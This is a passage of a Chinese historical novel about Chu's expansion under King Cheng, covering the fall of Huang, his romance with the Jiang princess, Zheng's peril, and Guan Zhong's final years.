而在这时,五千黄军精锐已快马追上楚成王,只有三千人的两广卫士舍命抵挡,拼死搏杀,眼看挡不住了。突然,前方战鼓齐鸣,旌旗招展,埋伏在远处山野的大楚中军从三面冲杀过来。五千精英顿时惊慌失措!赶紧转身回城,可城门已被斗勃的两千精锐占领。斗勃干脆把城门关上,只对付城内之敌。那五千黄军只好又回过身来再战楚军。这时,子玉已率中军杀到,五千人被一万多中军将士包围在东门之外,如林的刀剑从三面掠过黄军的头顶,如砍瓜切菜一般,人头滚滚落地,不久,五千精英被诛杀殆尽。
斗勃大开东门,子玉率中军杀入城中。不久,西门和南门全被攻破。黄国国君赢余知大势已去,带着公室的大臣和嫔妃全部从北门逃往徐国去了。国君一逃,黄**队如鸟兽散,有的逃往徐国,有的逃往远亲江国、道国和樊国去了。
子玉率军进城,清剿残敌,安抚民众,便令人迎楚成王入城。
楚成王的玉辂刚到国宫门前,子玉已跪地等候,对大王说道:“子玉以大王为诱饵,冒犯王威,使大王受惊,罪该万死!乞请治罪。”
楚成王下车哈哈大笑,上前将他扶起,说道:“子玉智勇双全,破城只在谈笑之间,何罪之有?”便拉着他的手一齐进入国宫,下令改黄国为黄县,召见黄国官吏重新任命,改用楚制。自此,黄国灭亡。黄人以国为姓,仍留楚地生存繁衍,成为楚国的重要力量。二百多年后,著名的战国四公子之一的春申君黄歇,就是黄人的后裔。
第39章 平江淮楚王纵猎 遇江芈熊恽钟情
拔掉了黄国这颗眼中钉,江淮之国再也无力与楚抗衡,楚国已实际掌控这一富庶的广袤之地,楚成王兴奋无比,还想顺势剿灭临近的蒋国和蓼国,又召众将入王帐商议。
斗勃说道:“黄国平,则江淮安。蒋、蓼等国必望风而降。若再施刀兵,恐中原恐惧,诸侯联军又至。不如班师回国,且观中原动静,再作打算。”
子玉说道:“江、息、弦、黄四国本为一体,现三国已灭,惟江独存,终究为患。如灭江国,则淮中无忧矣!”
江国在申县的东部,息县的西部,随国的北部,就像钉在这三县之中的钉子,如不拔掉,则骨鲠在喉。如果剿灭,这三县之地将连成一片,楚地又将扩展数百平方公里。
江国也是东夷之国。是伯益后代玄仲的嬴姓封国,地处今河南南部的正阳县,古老而弱小,势力远逊于黄国。灭掉此楚国的国中之国,子玉料定齐国无话可说。楚成王也觉得这是统一楚国国土的必然之举,便欣然同意。
灭江势在必得,楚成王下令回师西归,兵锋直指江国。兴奋之余,他一路弃玉辂而骑上自己的枣红宝马,在淮河南岸驰骋飞奔。
江国国都江城在淮河北岸,位于今河南省的正阳县。当楚国大军攻伐黄国之时,江国国君嬴贞就预感不妙,下令整军备战,加高城墙。
嬴贞年过五十,单薄的身材长长的脸,眼大而无神。江淮诸国,江国离楚最近,他早有投楚之心。但,东夷的两强黄国和徐国坚持联齐抗楚,他只有屈从,每天胆颤心惊地过日子。当黄国灭亡,西归的楚军北渡淮水时,他感到江国的末日到了。
他悲哀地对妻子道姬说道:“楚国大军来犯,黄国已灭,江国危如累卵,汝须带嫔妃子女速往徐国。若天佑嬴江,大劫过后孤必亲往徐国接汝回国;若在劫难逃,汝等可免受辱,须把子女养育成人,皆以国姓,勿忘江国。”
道姬是道国公主,道国是西周的姬姓封国,是江国的北邻,长期与江通婚。两国睦好,夫妻情深。道姬说道:“国难即至,妾身岂可弃君而去?诸儿已经长大,我等不必挂念!可遣众姐妹及子女速往徐国,妾愿与君同生共死!”
这时,一个十五六岁的公主闯了进来。她窈窕的身材,姣美的脸庞,一双大眼明媚动人。听闻母亲不走,立即说道:“母亲不走,我亦不走,誓与父母同在!”
看着这个天真的女儿,嬴贞说道:“蛮楚,虎狼也!若入江城,吾等尸骨无存!汝若留下,必受辱而死,吾将死不瞑目矣!请速离去!”
这时,宫中已是人心惶惶,众嫔妃和宫人急不可耐,一个个匆匆出宫,驱车而去。江姬拉着母亲的手,就是不走。母亲说道:“若城破母亡,汝陪葬又有何益?若汝幸免,可年年祭祀父母,此为孝道也!”说完,令宫中侍卫将她带走,扶上一辆辂车,忍住泪水望着她缓缓离去。
楚国大军北渡淮河,大举西进。秋天的阳光照耀在淮河北岸,金黄的原野一马平川,如此广阔的平原,生长在山地的楚成王还是第一次见到。年轻的楚王带着两广将士策马飞奔,激情飞扬。大军到处,只见艾蒿丛中,灌木林里,雉飞兔跳,狼奔豕突,野狐和山鹿惊惶逃遁。楚成王眼界大开,一路骑射,享受着中原阔野的无限风光。
大军接近江国时,楚成王看见一只红色的野狐,漂亮之极,便策马狂追。枣红宝马一路当先,把两广将士远远抛在后面。几名逃往江国的黄国散兵正在原野上游荡,见身后楚军追来,赶忙躲进艾蒿丛中,眼见楚成王猩红的宝马越来越近,那闪亮的金盔,黄灿灿的金甲,正是他们在守城之时所见到的楚王!仇人相见,分外眼红,就是这个人,让他们国破家亡。其中两人不由分说,张弓搭箭,两箭齐发,向楚成王射去,一箭射中他的右臂。他立即伏卧在马背上,但宝马未察,并不减速,仍向前疾驰而去。
众人回头,远远看见如潮的大军飞奔而来,立即意识到楚军要攻伐江城,立即向江国飞奔传讯。
这时,江姬被母亲强行塞进乘车之中,缓缓离开她生活了十七年的美丽江城。她圆圆的脸庞,长长的睫毛之下,一双乌黑的大眼波光荡漾,清澈迷人。那秀美的鼻头翘,饱满而秀丽。弯月般的嘴唇两角下陷,如两个浅浅的酒窝,格外可爱。逃难的车队稀稀拉拉地行进在旷野之中的大道上,轻风撩动着车帘,柔和的阳光照进车内,让他渐感仲秋的温馨。她撩起车帘,远望明媚的秋野,对故国依依不舍。突然看见一匹高大的枣红马向他们奔来,鱼儿指着马说道;“公主且看,马上之人欲坠也!”
那高大的枣红宝马也许感到背上主人受伤,便放慢脚步,缓缓向路边走来。可就在这时,马上之人却猛地跌落下地。江姬一惊,忙令车右下去看看。
车右走过去一看,说道:“或为黄国将军,已昏迷矣!”
鱼儿跟着过去一看,叫道:“金盔金甲,非常人也!”
江姬好奇地跳下车,走近一看,那人右肩已被鲜血染红。金盔之下,是一张年轻英俊的面孔,顿时心生怜意,说道:“必是黄国来投之人!惜哉!扶上车来,共往徐国!”
车驾似乎不大愿意,说道:“车小,恐不能容!”
鱼儿把眼睛一瞪,说道:“汝敢违抗公主之令?”车驾无奈,立即跳下,与车右一起把楚成王抬进车内。
可楚成王的箭口还在渗血,江姬不知所措,鱼儿说道:“把箭拔出,方可止血。”说着,用力一拔!可箭未拔出,楚成王伤如刀割,一下痛醒了,睁开眼看了她俩一眼,痛苦地说道:“不可……拔箭。”
江姬立即拿出自己的锦帕为他裹住伤口,楚成王疼痛稍缓,问道:“尔等何人?”
“此为江国公主!”鱼儿见他口气生硬,毫无感激之情,也生硬地说道。
这时,只听车外有人问道:“站住,车内何人?”
车右答道:“此乃公主乘车,谁敢挡驾?”
鱼儿探头出帷,发现被一队江**士挡住了。
“为何楚王之马跟在车后?”那为首的将领问道。
车上所有的人都大吃一惊!江姬立即伸出头来,说道:“本座之车,岂有外人?尓等敢无礼乎?”
军士一下被她镇住。原来,那几位逃兵恰好遇见巡查的江**队,立即告诉他们楚王被射伤之事,便一起过来查寻。看见枣红马,便怀疑楚王藏在车里。可偏巧又是公主的车,不敢造次。正犹豫之际,只听车后有人喊道:“楚军至矣!”
军情紧急!那将领料想公主也不会庇护敌国之人,纵马就走。车驾也挥鞭赶路。江姬问道:“汝是何人?”
楚成王答道:“不谷乃大楚之王熊恽也。”
江姬大吃一惊,说道:“果为南蛮!汝欲攻打江国么?”她感到怒火中烧。
楚成王又点点头。
江姬双手叉腰,怒睁圆目,说道:“为何欺吾江国?”
“江国亲齐,不与楚亲!”楚成王毫不隐瞒。
江姬竟不好回答,捋起左袖,横蛮地说道:“齐为中原方伯,亲之何罪?汝欺江国!安得与亲!”
此时,楚成王的伤口疼痛难忍,他以手捂住伤口,无力地闭上眼睛。
江姬对他又怜又恨,忍看他伤口渗血,就是不动。盯着他看了一阵,还是忍不住亲手用锦帕捂紧伤口。楚成王右手放下,睁开眼睛,久久地看着她,突然说道:“若江
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楚结亲,楚便撤军!”
“如何结亲?”江姬迷惑地问道。
“汝若嫁与不谷,则江楚为亲,从此不战!”
江姬一怔,脸上顿时绯红一片,转身坐下,低头说道:“那,须先问母亲。”
就在这时,只听枣红马高声嘶鸣,一队军士又将乘车截住,大声喊道:“车内之人且出!”
楚成王右手撩开车帷,说道:“尔等不得无礼!”
军士一见,立即喊道:“大王安好!大王无恙!”
子玉、蒍吕臣等将率军全围了过来,扶楚成王下车。子玉一见江姬,问道:“此女何人?”
“此为江国公主!幸公主相救,不谷方免于难!”楚成王感激地说道。
“谢公主!”众人一听,下跪致谢!
江姬一见,又双手叉腰,噘起嘴巴说道:“不必多礼!尔等不可伐我江囯!”
众人一听,都望着楚成王,见他脸露笑意,蒍吕臣说道:“江、楚为亲,岂可再伐?”大家都笑着站了起来。
楚成王在乘车之中第一眼看见江姬那美丽无邪的面孔,便一见钟情。那美妙的眷恋之情,生平从未有过!这是年轻楚王的第一次自由恋爱,他的心中,此时已爱意无限。回到王帐,肩伤还未治理,便令蒍吕臣带着聘礼陪江姬前往江城,向江君提亲。子玉劝道:“公主既至,何不于军中举婚,三军同庆,以壮军威!”
楚成王想了想,说道:“婚礼有六,不可废一。”说完,仍令蒍吕臣前往江国纳采。
纳采,是婚姻六礼的第一礼,即送彩礼求婚。现在的楚国,已是与齐国并肩的中原大国,必须依礼而行。周礼规定:“聘则为妻,奔则为妾。”他与江姬是邂逅私奔而来,就此举婚,将来江姬只能为妾。而江姬在他心中,已重于整个后宫。故要六礼完备,隆重举婚。
蒍吕臣带着披红戴绿的八车大礼,领着江姬的乘车,喜气洋洋地来到江城。赢贞闻讯出迎,见楚国送来如此重礼,莫名其妙,忙请楚使入宫。蒍吕臣说道:“大王邂逅公主,乃天赐姻缘,从此江楚一家,岂不美哉!”
嬴贞一听,真是喜从天降!先满口答应,安置楚使休息,便忙去后宫找夫人商议。
此时,夫人也一头雾水,夫妻俩拉着女儿问道:“那楚王怎会与汝相识?”
江姬满脸绯红,娇羞难言。鱼儿却骄傲地说道:“楚王遇险,公主救之!”忙把出城后的经过详细地告诉他俩。
“那楚王年高几许?品貌如何?”母亲也十分好奇。
“楚王年轻俊秀,正当而立之年,对公主言听计从!”鱼儿仍忍俊不禁。
道姬叹道:“天赐姻缘,江国不灭也!”
赢贞也叹道:“江国存亡,竟掌于小女子之手!”
楚军班师回国,准备婚姻大礼。楚成王在后宫之南临水之地专修一宫,取名江月宫,希望江姬如在故国。到第二年开春,五礼一一实施完毕,便施最后一礼:迎亲。
阳春三月,楚成王仍派蒍吕臣为迎亲大使,将江姬接回楚国,依旧安顿在国馆,等待婚庆大典。
这天,楚成王乘坐着大花轿,执玉来到国馆,行完执礼,便把江姬牵上花车,接到宗庙之前,经过刀山火海,便进入宗庙。
宗庙内,新郎与新娘双双祭拜大楚列祖列宗,然后起身,接受众人祝贺。
祝贺完毕,楚成王说道:“公主贤淑仁德,特封大楚王后!”
“谢大王!”江姬立即跪拜谢恩。
楚成王扶起公主,说道:“王后于不谷有救命之恩!今于宗庙之内,先圣之前,特赐公主大楚芈姓,永誌公主之恩!”
“恭喜大王!恭喜王后!”众人齐声贺道。从此,史称江姬为江芈。
第40章 烛之武临危首命
郑文公闻讯赶来,一见弟弟,只觉天旋地转,昏倒在地上。众臣将他扶起,放在床上。守了半天,郑文公醒来,睁开眼说道:“遵上卿遗愿,将尸首送于晋侯。”说完瘫倒在床上。
子人久带着叔詹的遗体来到晋军营寨,停尸帐前,只身入帐,哭拜晋文公道:“昔晋侯巡游之时,郑国无礼,今知罪矣!人久奉寡君之命,献上叔詹尸首,以赎前罪!”
晋文公望了望帐外的尸首,说道:“郑国之罪,岂在叔詹一人?”
子人久号哭伏地,说道:“敝邑罪恶滔天,然念晋郑同祖同宗,乞贤侯饶恕。”
“伐郑乃天子之命,联军劳师至此,岂可轻退?汝速回新郑,厉兵秣马,明日再见!”
子人久一听,全身发软,扑在地上,一动也不能动。
在新郑,老臣佚之狐乘坐轩车正赶往公宫。据守军来报,六国联军营寨前移,军队频繁调动,城墙外不时出现勘探地形的探子。佚之狐心急如焚,要去报告郑文公。突然,一个声音传来:“佚大夫行色匆匆,欲与联军一战乎?”
佚之狐的轩车左右无车帷。他向左一望,只见一个白发老者坐在一棵大树下,手里拿着一根甘蔗,咬下一片,塞进一个两三岁孩童的嘴里。
是早已退隐的老臣烛之武。佚之狐眼前一亮。他与他同僚多年,知道他谋略过人,只是不受重用。便下车走了过去,说道:“烛公含饴弄孙,可知郑国将亡乎?”
烛之武抬头看了看他,讥讽道:“救国之道,尔等食禄者谋之,与我何干?”
“叔詹尚以身赎国,烛**得置身事外?”
“叔詹忠烈,然晋侯不同往日也。”
“往日如何?今日又将怎样?”佚之狐忙问道。
“往日晋侯历经劫难,故赦天下,举蒐礼,顺少长。城濮之战依礼止战,乃霸主之范也!今日霸权在握,于天下欲取欲求,天子尚不能奈何,况叔詹乎?”说完又咬了一口甘蔗,喂给孙儿。
佚之狐一惊。今日晋侯,无端伐许国,犯郑国,威逼叔詹自尽。他突然慌了,问道:“如此说来,晋侯不赦郑国?”
“六国劳师远征,破城指日可待,岂可退兵?”
佚之狐两腿一软,完了!郑国完了!但,他还是奢望能言善辩的子人久带来好消息。便转身上车,赶往宫中。
他刚入殿,子人久风急火燎地闯了进来,两腿猛然跪到郑文公面前,哭丧着脸报道:“君上,晋侯不赦郑国,言郑国之罪,岂在叔詹一人?”
郑文公一听,全身像抽了筋一样,瘫倒在君坐上。叹道:“郑国亡也!”
朝堂立即死一般静寂。在这绝望之时,佚之狐突然想起烛之武那怡然自得的情态,似有所悟,说道:“君上何不召老臣烛之武问之?”
郑文公无力地摇了摇头,一个早已退休的老家伙,找他何用?
“烛公素来自视甚高,君上召而问之,或有良策。”
可郑文公对这些老东西烦透了,说道:“此公老而尖刻,满腹怨言,孤令其隐也!”
可佚之狐却说道:“烛公满愎谋略而不得其用,故常出怨言,值此危难之际,君上若请入宫,求策问计,必有所获!”
老胖子脑瓜开窍快。反正问一问那个老东西,自己也不损失什么。便点点头,
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说道:“就依佚卿之言。如有良策,孤必重赏。”
佚之狐立即将烛之武请来。郑文公一眼望去,只见他鬓发半白,眼睛深深地凹陷下去,脸上满是皱纹。但那方正的脸庞和高高的鼻梁,仍显露着他高傲的气质。他故意拄着拐杖,慢悠悠地走近国君,俯身说道:“参见君上,不知召野人有何要事?”
郑文公立即走下来扶住烛之武,请他坐下。然后说道:“郑国有难,贤卿救孤!”
烛之武冷冷地说道:“臣老朽矣,昔之壮时,尚不能为国所用,今乃朽木,何以堪用?”
这个老东西,果然死性不改,还在责备自己过去没有重用他。但现在要求他呀,只好说道:“孤不能早用贤卿,今又急而求之,孤之过也!然若郑亡,贤卿亦不利也!”
烛之武沉吟片刻,冷冷地说道:“晋国无道之师,齐、秦乌合之众,何劳君上烦忧如此?”
“烛卿可有退敌良策?”郑伯面露喜色。
“六国之兵,老朽片言可退!”烛之武不屑一顾地说道。
“贤卿快快教我!”老胖子已急不可耐。
“君上明鉴:四面之敌,东为齐、宋、鲁、陈,皆与郑无隙,乃受晋胁迫尔,断不会率先强攻!此路不足虑也!南路秦军,是为晋作嫁衣裳。晋侯以婿驱丈,秦伯却不自知!烛凭三寸不烂之舌,往说秦伯,秦必退兵。秦师退,联军散,北面晋师必不敢独自开战,郑围可解。”
“贤卿一言,拨云见日!联军明日便要攻城,劳烦贤卿夜访秦营,不知意下如何?”
“老朽谨遵君令!”烛之武欣然应命。
作家的话
第40章 天下楷模
公元前650年,齐桓公派隰朋领兵讨伐晋国,派管仲领兵入洛阳保护天子!王子带见管仲前来,便趁夜逃往离洛阳不远的陆浑之戎。年底,管仲见京城无事,便领兵回国。
谁知管仲一走,不甘心失去王位的叔带便四处笼络洛邑周边的戎人。公元前649年秋天,叔带以陆浑之戎为主力,以居住在洛邑西南的杨、拒、泉、皋四地戎人为辅,组成联军,向京城发动猛烈进攻,企图以武力赶周襄王下台。
齐桓公闻讯,立即令晋惠公夷吾出兵平叛,并派隰朋领军前往洛邑,与晋合兵一处,进京勤王。这时,王子叔带率领的西戎联军烧毁了洛邑的东门,已冲进城内,正要攻打王宫。齐、晋联军赶到,与王宫军队内外夹击,戎军大败,四散而逃,各自回到居地去了。
王城**不宁,管仲忧心忡忡。周恵王是齐国扶立的,而立王子带是周惠王的遗愿,更有惠后支持,王子带怎会罢休?
为平息王室**,他以年近七十的老迈之躯,又一次只身前来,亲往洛河以南,召会这里的陆浑之戎酋长,以霸主的身份,严厉地训诫道:“新王乃先王嫡子,依礼承位,尔等不可助逆为乱!若敢再侵扰王庭,齐必出兵剿灭尔族,无使为患京城!”
此时的管仲,名动天下,戎人奉若神明。势力最强的陆浑之戎原本希望扶立王子带,以承其荫,壮大戎族。现被打得一败涂地,只好乖乖就范,发誓不再为王子带卖命。
管仲又召集参加叛乱的杨戎、拒戎、泉戎、皋戎的酋长到洛南开会,严令其迷途知返。四戎都是乌合之众,霸主之令,谁敢不从?管仲带着五大酋长进京觐见周襄王,立誓效忠,永不相违!
管仲还是不放心,又传檄中原各诸侯,令各国轮流派兵守卫洛邑,方觉万无一失。
现在,逃到河洛戎地的王子带已成孤家寡人,陆浑之戎也不敢收留他。在他走投无路之际,管仲及时向他表达善意,派使者劝他去齐国,保证以王子之礼待之。
周襄王的劲敌被管仲一一化解于无形,周室恢复安宁。周襄王的感激之情,无以言表,便在明堂大摆宴席,召百官相陪,专设乐队,以最高的上卿之礼招待管仲。
管仲随周襄王进入明堂。只见宽阔的大殿内,华灯流光。地上清雅秀丽的兰席之上,精美华丽的俎案摆满大殿,俎案上金黄色的鼎、爵、觚、簋、豆等食器暗光闪动。一排美艳的宫女,站在**之后。管仲立即止步,不肯入席。卿士王子虎以为还有不周之处,他大手一挥,只听丝竹弦乐一齐奏响,如清泉流荡,感人心脾。管仲更加不敢向前,躬身对周襄王说道:“此礼过也。陪臣,乃齐之贱司也!岂能享此上卿之礼?”
“舅父长为卿士,天下皆以上卿待之,不必过谦。”天子殷殷之情,溢于言表。
“齐惟国、高二氏为上卿,陪臣忝列下卿之位,犹感惶恐,岂能僭位而享?若国、高二卿来朝,天王将以何礼宴之?陪臣冒死请辞!”
年轻的周襄王更加感怀,深情劝道:“舅父也,余嘉美汝无上之功勋,接受汝辉煌之美德!舅父功德已植于吾心,永誌难忘!来也,勿逆朕之命令。”
天子如此请求,管仲不听也是无礼。便说道:“若不撤走乐人,请退侍女,陪臣安敢入席?”
“就依舅父之命,撤乐隐女,以全舅父之德。”
“管卿守礼,堪为天下楷模也!”王子虎说道。
“管卿有礼,后世之范也!”众天朝大臣也感佩道。
乐队离去,舞女撤走,管仲才入席就座。在觥筹交错之际,他只觉头晕耳鸣。可他不敢失礼,向天子九献致礼,方敢离去。可一到宫馆,他就病倒了。
公元前647年春天,在外奔波了一年多的管仲带病回到临淄,年迈的他,从此一病不起。
此时,楚国已掌控了江淮之间的千里膏腴之地。与江国相邻的樊国(今河南信阳市)闻讯来降。可是,蒋国却无动于衷,不来朝觐楚国,更不愿向楚称臣。
蒋国是周公旦三子姬伯龄的封国,国都在今河南淮滨县南面的期思镇。是黄国的东邻之国。这里已处淮河中游。淮河、白露河、期思河三川争流,土地肥沃,更有丰富的水产资源。而淮河与长江之间,在西周时期就已勘探出大量的铜矿。当年周穆王十万大军一路南征,不只是针对楚国,更是为征伐东夷,抢夺这里的铜矿资源。
楚成王令子玉率中军再次东征。蒋国无力反抗,举国归降。楚成王怜其归顺,保留其国号。三十年后,改为楚国的期思县。
一连串军事上的胜利,使楚成王更加雄心勃勃。现在,楚与东夷已成死敌,不甘心**的东夷之人都逃往徐国
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,使之成为反楚大本营。公元前545年春天,楚成王下令:攻伐徐国!
楚成王仍以子玉为中军主帅,斗宜申为左军主帅,斗勃为右军主帅,自己御驾亲征,率楚国全部精锐,越过淮河。声势浩大,震惊中原。
楚成王居中军,自南向北攻击前进;斗宜申领左军为东面羽翼,斗勃领右军为西面羽翼,三军狂飙突进,所向披靡!正当西路军到达涡河之时,只见一队军马迎面而来。斗勃下令迎敌,却见前方之人翻身下马,徒步向前,跪地而拜,为首一人说道:“厉国之君姜子拜见大楚之王!”
斗勃头戴铜盔,身披紫色战袍,那明亮的眼睛,高高的鼻梁,显得特别威武英俊。见对方把他当大王跪拜,便跳下战车,问道:“尔等何事要见大王?”
“敝邑久仰上国虎威,欲归顺大楚,特来觐见!”厉君姜子年约四十多岁,体格强健,只是两眼相隔较远,鼻梁低平,让人觉得怪怪的。斗勃依礼将他扶起,下令右军依涡水扎营,自己连夜带他去见楚成王。
厉国是炎帝后代的封国,姜姓,子爵。国都赖邑,位于今河南东部的鹿邑市,故厉国又称赖国,紧邻陈国东部,一直都是陈国的附庸国。但楚国势力已逼近陈国,陈日益衰弱,朝不保夕,便弃陈来投,以免遭攻伐。厉君见到楚成王,行完大礼,说道:“厉为炎帝之裔,与楚同为凤凰之国,素与楚亲,今我王北伐,敝邑可为后援之地也!”
厉国居涡河之畔,传说当年凤凰被雷电击毁,落涡水而亡。楚成王好奇地问道:“闻凤灵居赖地而不散,常显灵济世,可有此事?”
“然也。传凤凰落涡水而亡,涡水西畔有一山岭竟日长数尺,形同凤凰,常有凤香四溢,苦地之人遂称之凤凰岭。此后,凤凰岭上仙草丛生,岭下地沃田肥,苦地变甘田也。”
“好一个凤凰之国!厉、楚相亲,岂非天意?贤君为炎帝之后,今赐公爵之衔,为楚镇守厉国,不得有失!”楚成王喜出望外。
厉君跪地谢恩,说道:“卑臣无德,怎受至尊之爵?敝邑原为中原苦地,若为大楚苦县,则名正而言顺,愿大王恩准。”
楚成王哈哈大笑!对楚国而言,称厉国或苦县毫无差别。他明白,厉君坚持去掉国号,是表忠心。他扶起厉君,亲切地说道:“贤公不必自苦也。
第41章 娄林大战 征服徐国
大战未开,楚军便先得一国,气势更盛。三军直指徐国国都泗洪(今江苏泗洪县)。徐国危在旦夕。
齐桓公闻讯大怒!徐国是齐鲁两国的后院啊!你楚人也太猖狂了,竟打到我的头上来了!立即亲往相府找管仲商议。
此时的管仲已病入膏肓,听到厉国未战而降,对齐桓公说道:“齐楚有盟,不可与战,可伐厉救徐。”
公元前645年3月,齐桓公急召宋、鲁、陈、卫、郑、许、曹七国会盟牡丘(今山东聊城),商讨救徐方略。大会很快作出决策:由齐桓公带领曹国攻伐厉国,由鲁国率其他五国之师前往泗洪救援徐国,指定六国之师到匡地(今河南睢县)集结。
齐桓公令鲁国领军,是因为鲁、徐为邻。可以说,此次抗楚救徐,鲁国是最大的受益者。
可此时的鲁国已今非昔比。十七年前,鲁庄公薨世,庆父连弑二君,最后由季友扶立鲁庄公小妾风氏所生之子姬申为君,他就是鲁僖公。三年的内乱,让鲁国势力大减。鲁僖公执政十四年来,除了围着齐桓公的指挥棒转,乏善可陈。现在,面对遭遇大劫的徐国,他根本不想去救。
徐鲁虽然结盟,可两国为敌三百多年,积怨太深。现在虽然相安无事,但说不定哪天又反目成仇,鲁国何必救敌?但齐桓公是好意,鲁僖公不敢抗命,便派公孙敖为帅,领兵救徐。
公孙敖就是庆父的儿子。当年,那个坏事干尽的庆父在走投无路之际,派子渔向季友求情,要求回国。季友不允,但答应如果庆父自裁,可保后嗣承其爵位。庆父只好自缢而死。十四年过去了,他的儿子公孙敖长大成人,而季友病重,不能理事。鲁僖公也不知哪根神经发生错乱,令公孙敖主持国政。
公孙敖忙啊,他既要讨小妾,又要修豪宅。楚国大军把辽阔的徐国横扫殆尽,他却一拖半年,到秋末才慢悠悠地赶到匡地。其他几国虽也懒洋洋地无人赶早,却都在等他这个联军总司令了。
六国都不急,是在等齐桓公伐厉的结果。
齐桓公与曹共公姬襄率两国大军此时已打到厉国境内。冬季已至,天气渐寒,厉国的上空阴雨绵绵。这天,天色放晴,齐桓公下令向首都赖邑进攻。
楚成王闻讯,立即派斗勃率右军来救。可援军未到,齐曹两军就攻过来了。厉公早有准备,又有楚国撑腰,便率军出城十里,在凤凰岭北面迎敌。
厉公摆好战阵,驱车至阵前瞭望。只见远处数万联军以排山倒海之势猛扑过来,他倒抽一口冷气,心里顿时发慌。厉国是炎帝之后,根正苗红,一千多年来从未遇到如此强大的攻击。区区数千将士,怎敌三万多联军攻击?他正要下令撤至城中,突然天空雷声轰响,狂风大作,如豆的大雨倾泻而下,全军队形也被冲得七零八落。可定神一看,迎风狂奔的齐、曹大军更是人仰马翻,失控的战车相互碰撞,乱成一片。厉公突然明白,此为天赐良机呀!
这时,军中有人喊道:“且看,白龙在天!”众人抬头一看,果然一条白龙在凤凰岭上翻转飞舞,腾风播雨。厉公大喊:“天助厉国,战则必胜,进军!”
厉军受到鼓舞,又顺风顺雨,随即冲杀过去。可怜雨点打得齐、曹联军不能睁眼,前面的人车转身躲雨,却被后车撞倒,正在混乱之际,厉军杀到。联军全线溃败,死伤无数,只好狼狈撤军。
再说斗勃率右军西进救厉,一到涡水,眼前的景象把他惊呆了!只见涡水南岸,人流如潮。冬日的阳光下,蜿蜒曲折的河岸之上,衣着五色缤纷的厉国女人来到水边,正在洗衣!说笑声,嬉闹声,响遍涡水之滨。斗勃看傻了!大战之际,厉国怎会如此松懈?便驱车来到水边,想问个究竟。
女人们见楚国大军到来,都放下手中的湿衣,大声喊道:“大战已毕!大军来迟也!”欢笑之声一浪高过一浪。
斗勃不相信厉人能战胜齐、曹大军,驱车走近,问道:“战况如何?齐人何在?”
一名身材高挑、丰满的少女兴奋地扯下自己的红头巾,向他挥舞,喊道:“厉国大胜,齐人逃也——”
这时,一阵河风刮来,少女挥舞的红头巾脱手,飘向空中,一下吹到斗勃眼前,缠挂在他的头盔上。
斗勃抓住红头巾,竟闻到头巾上少女的馨香,心中一动,不知如何是好!
“哈哈哈哈,将军中彩也!”女人们都叫了起来。
“此为抛巾定亲,将军须娶香儿!”
被唤作香儿的少女也傻了,站在那里一动不动。斗勃下马走来,要把头巾还给她,她抬头暼了他一眼,突然转过身去,羞涩地低下头。
斗勃眼前闪过她绯红的脸庞和乌黑的大眼,心中为之一颤!便收起头巾,从腰间取下佩玉,从身后塞到她的手上。
香儿接玉一看,紧紧捂在怀中,拔腿就跑。此时,厉君姜子赶来,看见香儿,说道:“香儿乃厉国之花也,今谁摘之?”
香儿朝他一噘嘴,低头跑了。姜子回看斗勃,说道:“右帅与厉国有缘!寡人定
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当玉成!今齐师已败,苦县无恙,右帅可回援娄林,以助大王!”
霸主之师败于蕞尔小国,消息传到匡地,驻扎在这里的六国诸侯大惊失色,谁还敢与楚军作战?宋国国君兹甫,那个戴孝参加葵丘之盟的宋子,一心想仿效齐桓公称霸的宋襄公,对公孙敖这个联军司令消极怠战极为不满,转身就撤军回国了。顺路攻入曹国,以惩曹军无能。曹共公闻讯,带着残兵败将回国救援去了。
这下,多米诺骨牌效应立即出现:郑文公姬捷见宋、曹开溜,马上走了。许男姜业更曾向楚王衔玉请罪,又与楚结亲,巴不得远离这片是非之地,也逃之夭夭。可怜的卫文公姬毁刚刚国破家亡,哪还有心顾得了徐国?转身也走。厉国已成楚国的苦县,陈国的卧榻之旁睡着强敌,陈穆公妫款怎敢得罪楚国?也乘机溜走。公孙敖本来就不想救徐,便听任诸侯自便而去。
八国联军分崩离析,齐国霸权沦落,孤独的齐桓公带着无限悲伤,谢幕回国。
徐国国君嬴浑认定八国联军必然来救,决心与楚决一雌雄!见楚国分兵救厉,便于国都泗洪之西的娄林(安徽泗县)摆开战场,要击败楚军。
所谓瘦死的骆驼比马大。徐国优越的环境,辽阔的国土,仍然是东夷翘首,嬴族老大,更有从各国**而来的仁人志士,同仇敌忾,誓要与楚国血战到底。
公元前645年冬天,南蛮与东夷的决战在娄林拉开序幕。蛮夷对决,都只拼实力,不讲战术,两军迎面厮杀,铁血鏖战,杀得天昏地暗。徐举全国之力,拼死复仇;楚却釜底抽薪,只有两军作战。可徐军久疏战阵,始终不能取胜,双方杀得难解难分,都咬牙硬扛,等待援军到来。
斗勃顾不得儿女之情,随即调头回援娄林。大军披星戴月,二天二夜便快马赶到。此时徐楚两军已战三日,双方杀得精疲力竭,死伤累累。黄昏时分,两军正要休战,斗勃率军向徐军拦腰冲杀而来。只听战鼓擂动,喊声震天,楚国的生力军以雷霆万钧之势直压徐军。徐军挡不住了,全军土崩瓦解,弃尸累累,四散而逃!楚军大胜,徐国主力被歼灭殆尽。赢浑领残兵逃进泗洪城内。
此时,八国联军不见踪影,泗洪都城内无军卒,外无援军,已经不起楚军的攻击了。走投无路的嬴浑只好率臣民出城投降。
楚成王接受投降,保留国号,仍让嬴浑为君。从此,徐国成为楚的附庸国。楚成王跃进淮北,辟地千里。淮河上下,尽为楚国掌控。
第42章 管仲辞世桓公亡 霸业如烟付斜阳
题记:桓公薨,管仲亡,五贤相继离去,辉煌的霸主之国瞬间崩溃!
从此人亡政息,一蹶不振。让历史千秋叹息!
公元前645年寒冬,齐桓公战败回国,鲍叔牙出城恭迎,对齐桓公说道:“管相病势日沉,恐不久矣,君上宜早作安排。”
宁戚去世,齐国就无人**。现管仲危在旦夕,鲍叔牙心急如焚,齐桓公更不敢怠慢,入夜便去探望。
此时的管仲已油尽灯枯,奄奄一息。他那优雅的面孔,已是憔悴不堪。齐桓公一见,便有不祥之感,忙问道:“仲父可好?”
管仲睁开眼,见到齐桓公,伤感地说道:“臣不能助君上决胜疆场矣!”
这是管仲在为伐厉失败而自责。齐桓公更是深感危机降临,急切地问道:“谁可承仲父之位?”
管仲正要摸摸国君的心思,说道:“知臣莫若君,君上当知人善用。”
齐桓公却顾不得那么多礼节了,问道:“公子开方可否?”
管仲担心的事终于露出,他说道:“公子开方闻国亡而不归,弃臣民而不顾,攀缘附强,居心叵测,不可用之。”
